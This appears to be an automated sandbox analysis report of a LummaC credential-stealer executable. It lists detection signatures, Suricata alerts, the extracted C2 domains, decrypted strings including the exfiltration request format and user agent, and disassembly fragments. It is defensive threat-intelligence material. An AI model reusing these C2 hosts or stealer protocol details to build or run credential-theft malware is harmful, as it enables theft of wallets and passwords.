Edit tour

Windows Analysis Report
m4lz5aeAiN.exe

Overview

General Information

Sample name:	m4lz5aeAiN.exe renamed because original name is a hash value
Original sample name:	af551d70d63b4251edcaac0cdcf9485e.exe
Analysis ID:	1584184
MD5:	af551d70d63b4251edcaac0cdcf9485e
SHA1:	e2bc264431c564a0f0180cbd59430685fb97c868
SHA256:	461e55432a4e9d66a9cf95665b4479f4b0ee1d35b2e110791fb4517d69ae771a
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

LummaC encrypted strings found

Machine Learning detection for sample

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Detected potential crypto function

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

m4lz5aeAiN.exe (PID: 1808 cmdline: "C:\Users\user\Desktop\m4lz5aeAiN.exe" MD5: AF551D70D63B4251EDCAAC0CDCF9485E)

WerFault.exe (PID: 5832 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 1808 -s 1756 MD5: C31336C1EFC2CCB44B4326EA793040F2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["rabidcowse.shop", "abruptyopsn.shop", "tirepublicerj.shop", "wholersorie.shop", "cloudewahsj.shop", "noisycuttej.shop", "framekgirus.shop", "nearycrepso.shop"], "Build id": "4h5VfH--"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.2334487456.00000000005D0000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x778:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.2334862547.0000000002130000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Smokeloader_3687686f	unknown	unknown	0x30d:$a: 0C 8B 45 F0 89 45 C8 8B 45 C8 8B 40 3C 8B 4D F0 8D 44 01 04 89
00000000.00000002.2334614463.0000000000802000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: m4lz5aeAiN.exe PID: 1808	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: m4lz5aeAiN.exe PID: 1808	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: m4lz5aeAiN.exe PID: 1808	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 2 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-04T15:33:10.471177+0100	2028371	3	Unknown Traffic	192.168.2.6	49718	104.21.80.1	443	TCP
2025-01-04T15:33:11.586800+0100	2028371	3	Unknown Traffic	192.168.2.6	49720	104.21.80.1	443	TCP
2025-01-04T15:33:12.847188+0100	2028371	3	Unknown Traffic	192.168.2.6	49726	104.21.80.1	443	TCP
2025-01-04T15:33:14.397575+0100	2028371	3	Unknown Traffic	192.168.2.6	49737	104.21.80.1	443	TCP
2025-01-04T15:33:15.598888+0100	2028371	3	Unknown Traffic	192.168.2.6	49746	104.21.80.1	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-04T15:33:11.063340+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49718	104.21.80.1	443	TCP
2025-01-04T15:33:12.066819+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49720	104.21.80.1	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-04T15:33:11.063340+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49718	104.21.80.1	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-04T15:33:12.066819+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49720	104.21.80.1	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (cloudewahsj .shop in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-04T15:33:10.471177+0100	2058607	1	Domain Observed Used for C2 Detected	192.168.2.6	49718	104.21.80.1	443	TCP
2025-01-04T15:33:11.586800+0100	2058607	1	Domain Observed Used for C2 Detected	192.168.2.6	49720	104.21.80.1	443	TCP
2025-01-04T15:33:12.847188+0100	2058607	1	Domain Observed Used for C2 Detected	192.168.2.6	49726	104.21.80.1	443	TCP
2025-01-04T15:33:14.397575+0100	2058607	1	Domain Observed Used for C2 Detected	192.168.2.6	49737	104.21.80.1	443	TCP
2025-01-04T15:33:15.598888+0100	2058607	1	Domain Observed Used for C2 Detected	192.168.2.6	49746	104.21.80.1	443	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (cloudewahsj .shop)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-04T15:33:09.908705+0100	2058606	1	Domain Observed Used for C2 Detected	192.168.2.6	55059	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-04T15:33:13.433955+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49726	104.21.80.1	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: m4lz5aeAiN.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://cloudewahsj.shop/apiy	Avira URL Cloud: Label: malware
Source: https://cloudewahsj.shop/-	Avira URL Cloud: Label: malware
Source: https://cloudewahsj.shop/HR	Avira URL Cloud: Label: malware
Source: https://cloudewahsj.shop/api	Avira URL Cloud: Label: malware
Source: https://cloudewahsj.shop/	Avira URL Cloud: Label: malware
Source: https://cloudewahsj.shop/apil	Avira URL Cloud: Label: malware

Found malware configuration

Source: 0.2.m4lz5aeAiN.exe.400000.0.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["rabidcowse.shop", "abruptyopsn.shop", "tirepublicerj.shop", "wholersorie.shop", "cloudewahsj.shop", "noisycuttej.shop", "framekgirus.shop", "nearycrepso.shop"], "Build id": "4h5VfH--"}

Multi AV Scanner detection for submitted file

Source: m4lz5aeAiN.exe	ReversingLabs: Detection: 47%
Source: m4lz5aeAiN.exe	Virustotal: Detection: 38%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.9% probability

Machine Learning detection for sample

Source: m4lz5aeAiN.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.2334487456.00000000005D0000.00000040.00001000.00020000.00000000.sdmp	String decryptor: cloudewahsj.shop
Source: 00000000.00000002.2334487456.00000000005D0000.00000040.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.2334487456.00000000005D0000.00000040.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.2334487456.00000000005D0000.00000040.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.2334487456.00000000005D0000.00000040.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.2334487456.00000000005D0000.00000040.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.2334487456.00000000005D0000.00000040.00001000.00020000.00000000.sdmp	String decryptor: 4h5VfH--

Source: C:\Users\user\Desktop\m4lz5aeAiN.exe

Code function: 0_2_00415D89 CryptUnprotectData,

0_2_00415D89

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\m4lz5aeAiN.exe

Unpacked PE file: 0.2.m4lz5aeAiN.exe.400000.0.unpack

Source: m4lz5aeAiN.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\m4lz5aeAiN.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.6:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.6:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.6:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.6:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.6:49746 version: TLS 1.2

Source: C:\Users\user\Desktop\m4lz5aeAiN.exe

Directory queried: number of queries: 1001

Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+01h]	0_2_00441816
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then mov eax, esi	0_2_0043D0D0
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-533305EEh]	0_2_0043D0D0
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+34h]	0_2_0040C080
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_00422370
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then mov word ptr [edx], cx	0_2_00418BA2
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-1CAAACA4h]	0_2_00417054
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+7E534795h]	0_2_0041B021
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then mov byte ptr [ebx], al	0_2_0041B021
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then movzx ebp, byte ptr [esp+edi+02h]	0_2_004438E0
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then movzx ebp, byte ptr [esp+edi+02h]	0_2_004438F9
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then movzx ebp, byte ptr [esp+edi+02h]	0_2_004438FB
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+482C66D0h]	0_2_00422880
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then movzx ebx, bx	0_2_00427885
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then movzx ebx, byte ptr [eax+edx]	0_2_0041F170
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then mov dword ptr [ebp-2Ch], eax	0_2_004421E9
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then mov byte ptr [edi+10h], 00000000h	0_2_004421E9
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then movzx ebx, byte ptr [esi]	0_2_0041618C
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then cmp word ptr [esi+eax+02h], 0000h	0_2_0041BA52
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then mov esi, ecx	0_2_0041BA52
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then mov byte ptr [esi], cl	0_2_0041BA52
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then mov dword ptr [esi], FFFFFFFFh	0_2_00402210
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	0_2_0043A230
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then movzx edx, word ptr [eax]	0_2_004442E0
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then mov byte ptr [esi], cl	0_2_00431AF5
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ebx+0Bh]	0_2_0040B280
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 01FCE602h	0_2_00440A90
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+01h]	0_2_00441B50
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then mov byte ptr [edi], bl	0_2_00409360
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then mov byte ptr [edi], cl	0_2_0042FB7D
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then movzx eax, byte ptr [ecx+edi]	0_2_00408320
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 53585096h	0_2_00419B30
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then movsx eax, byte ptr [esi+ecx]	0_2_0041F3E0
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then mov byte ptr [esi], al	0_2_0041B3F2
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then mov ecx, eax	0_2_0041AB90
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then jmp ecx	0_2_00428C62
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then mov ecx, eax	0_2_00427C10
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then cmp dword ptr [ebp+ebx*8+00h], 4B884A2Eh	0_2_00444C20
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-000000D1h]	0_2_00414C30
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then mov ecx, eax	0_2_00418492
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then movzx edx, word ptr [ebx]	0_2_0043CD40
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	0_2_0042C5E0
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then mov byte ptr [esi], al	0_2_0041B58F
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	0_2_004195B6
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	0_2_004195B6
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then mov edi, edx	0_2_0043E6E0
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then movzx eax, word ptr [edx]	0_2_0043E6E0
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then mov ecx, edx	0_2_00430F4E
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then mov ecx, edx	0_2_00430F54
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then mov word ptr [ebx], ax	0_2_0041A770
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then mov ecx, edx	0_2_00430F03
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then mov byte ptr [edi], cl	0_2_0042F716
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	0_2_00407730
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	0_2_00407730
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then movzx eax, byte ptr [esp+edx+7C605D08h]	0_2_00427FC0
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then movzx edi, byte ptr [esp+eax-209D22B7h]	0_2_00427FC0
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then movzx ebp, byte ptr [esp+edi+02h]	0_2_004437D0
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+04h]	0_2_0042A7F0
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then mov edx, ecx	0_2_0042A7F0
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then mov ecx, eax	0_2_00427FFD
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then mov edx, ecx	0_2_0042AF92
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_0042AF92
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then mov edx, ecx	0_2_0042AFB0
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then mov word ptr [edx], cx	0_2_0214921E
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-000000D1h]	0_2_02145202
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_0215B247
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then mov ecx, eax	0_2_02158264
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then movzx eax, byte ptr [esp+edx+7C605D08h]	0_2_0215829E
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+7E534795h]	0_2_0214B288
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then mov byte ptr [ebx], al	0_2_0214B288
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-1CAAACA4h]	0_2_021472BB
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+34h]	0_2_0213C2E7
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then mov eax, esi	0_2_0216D337
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-533305EEh]	0_2_0216D337
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then movzx ebx, byte ptr [eax+edx]	0_2_0214F3D7
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then mov ecx, edx	0_2_0216116A
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then mov ecx, edx	0_2_021611B5
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then mov ecx, edx	0_2_021611BB
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then mov byte ptr [esi], al	0_2_0214B659
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then movsx eax, byte ptr [esi+ecx]	0_2_0214F647
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then movzx edi, byte ptr [esp+eax-209D22B7h]	0_2_02158677
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then cmp al, 20h	0_2_0213275E
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then mov byte ptr [esi], al	0_2_0214B7F6
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then mov dword ptr [ebp-2Ch], eax	0_2_02172450
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then mov byte ptr [edi+10h], 00000000h	0_2_02172450
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then mov dword ptr [esi], FFFFFFFFh	0_2_02132477
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	0_2_0216A497
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ebx+0Bh]	0_2_0213B4E7
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then mov edi, dword ptr [esp+18h]	0_2_02145527
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then movzx edx, word ptr [eax]	0_2_02174547
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then movzx eax, byte ptr [ecx+edi]	0_2_02138587
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_021525D7
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then mov byte ptr [edi], bl	0_2_021395C7
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then mov edi, edx	0_2_0216EA3F
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+482C66D0h]	0_2_02152AE7
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then movzx ebx, bx	0_2_02157B02
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then movzx eax, word ptr [edx]	0_2_0216EB27
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	0_2_0214981D
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h	0_2_0214981D
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	0_2_0215C847
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then mov ecx, eax	0_2_0214886C
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then mov byte ptr [edi], cl	0_2_0215F97D
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h]	0_2_02137997
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then movzx ecx, word ptr [edi+esi*4]	0_2_02137997
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then mov word ptr [ebx], ax	0_2_0214A9D7
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then mov ecx, eax	0_2_02157E77
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then cmp dword ptr [ebp+ebx*8+00h], 4B884A2Eh	0_2_02174E87
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then jmp ecx	0_2_02158EB2
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then mov edx, ecx	0_2_0215AF50
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then movzx edx, word ptr [ebx]	0_2_0216CFA7
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+04h]	0_2_0215AC89
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then cmp word ptr [esi+eax+02h], 0000h	0_2_0214BCB9
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then mov esi, ecx	0_2_0214BCB9
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then mov byte ptr [esi], cl	0_2_0214BCB9
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 01FCE602h	0_2_02170CF7
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then mov ecx, eax	0_2_0214ADF7
Source: C:\Users\user\Desktop\m4lz5aeAiN.exe	Code function: 4x nop then mov byte ptr [edi], cl	0_2_0215FDE4

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2058606 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (cloudewahsj .shop) : 192.168.2.6:55059 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058607 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cloudewahsj .shop in TLS SNI) : 192.168.2.6:49720 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2058607 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cloudewahsj .shop in TLS SNI) : 192.168.2.6:49718 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2058607 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cloudewahsj .shop in TLS SNI) : 192.168.2.6:49737 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2058607 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cloudewahsj .shop in TLS SNI) : 192.168.2.6:49746 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2058607 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (cloudewahsj .shop in TLS SNI) : 192.168.2.6:49726 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49718 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49718 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49720 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49720 -> 104.21.80.1:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49726 -> 104.21.80.1:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: rabidcowse.shop
Source: Malware configuration extractor	URLs: abruptyopsn.shop
Source: Malware configuration extractor	URLs: tirepublicerj.shop
Source: Malware configuration extractor	URLs: wholersorie.shop
Source: Malware configuration extractor	URLs: cloudewahsj.shop
Source: Malware configuration extractor	URLs: noisycuttej.shop
Source: Malware configuration extractor	URLs: framekgirus.shop
